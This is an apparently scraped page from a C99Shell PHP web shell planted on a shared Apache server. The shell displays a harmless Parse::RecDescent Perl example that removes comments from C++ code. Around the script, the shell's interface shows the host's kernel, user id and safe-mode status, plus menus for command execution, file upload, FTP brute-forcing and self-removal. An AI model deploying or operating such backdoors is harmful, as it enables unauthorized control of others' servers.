!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/share/doc/libparse-recdescent-perl/examples/   drwxr-xr-x
Free 712.73 GB of 879.6 GB (81.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     demo_decomment.pl (2.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

# $::RD_TRACE = 1;

# REMOVE COMMENTS FROM C++ CODE

# ORIGINAL BY Helmut Jarausch
# EXTENDED BY Damian Conway AND Helmut Jarausch AND Jeremy Braun

use strict;
use Parse::RecDescent;

use vars qw/ $Grammar /;

my $parser = new Parse::RecDescent $Grammar  or  die "invalid grammar";

undef $/;
my $text = @ARGV ? <> : <DATA>;

my $parts = $parser->program($text) or die "malformed C program";

print "Comments\n========\n$parts->{comments}\n";
print "\nCode\n====\n$parts->{code}\n";
print "\nStrings\n=======\n", map(qq{\t"$_"\n}, @{$parts->{strings}});

BEGIN
{ $Grammar=<<'EOF';

program : <rulevar: local $WithinComment=0>
program : <rulevar: local $Comments = ""> /this shouldn't be here :-/
program : <reject>
program : <reject> /with prejudice/
program : <rulevar: local $Code = "">
program : <rulevar: local @Strings>

program    : <skip:''> part(s)
        { { code=>$Code, comments=>$Comments, strings=>[@Strings]} }

part    : comment
        | C_code
        | string
        | charlit

C_code  : m{(
          [^"/]+        # one or more non-delimiters
          (            # then (optionally)...
           /        # a potential comment delimiter
           [^*/]        # which is not an actual delimiter
          )?        #
        )+            # all repeated once or more
       }x
        { $Code .= $item[1] }

string    : m{"            # a leading delimiter
        ((            # zero or more...
          \\.        # escaped anything
          |            # or
          [^"]        # anything but a delimiter
         )*
        )
        "}x
        { $Code .= $item[1]; push @Strings, $1 }

charlit    : m{'            # a leading delimiter
        ((            # zero or more...
          \\.        # escaped anything
          |            # or
          [^']        # anything but a delimiter
         )*
        )
        '}x
        { $Code .= $item[1]; push @Strings, $1 }


comment    : m{\s*            # optional whitespace
        //            # comment delimiter
        [^\n]*        # anything except a newline
        \n            # then a newline
       }x
        { $Code .= "\n"; $Comments .= $item[1] }

    | m{\s*            # optional whitespace
        /\*            # comment opener
        (?:[^*]+|\*(?!/))*    # anything except */
        \*/                # comment closer
            ([ \t]*)?           # trailing blanks or tabs
       }x
        { $Code .= " "; $Comments .= $item[1] }

EOF
}
__DATA__
program test; // for decomment

// using Parse::RecDescent

int main()
{
/* this should
   be removed
*/
  char *cp1 = "";
  char *cp2 = "cp2";
  char c3   = 'c';
  int i;  // a counter
          // remove this line altogehter
  int k;
      int more_indented;  // keep indentation
      int l;  /* a loop
             variable */
      // should be completely removed

  char *str = "/* ceci n'est pas un commentaire */";
  return 0;
}






:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0178 ]--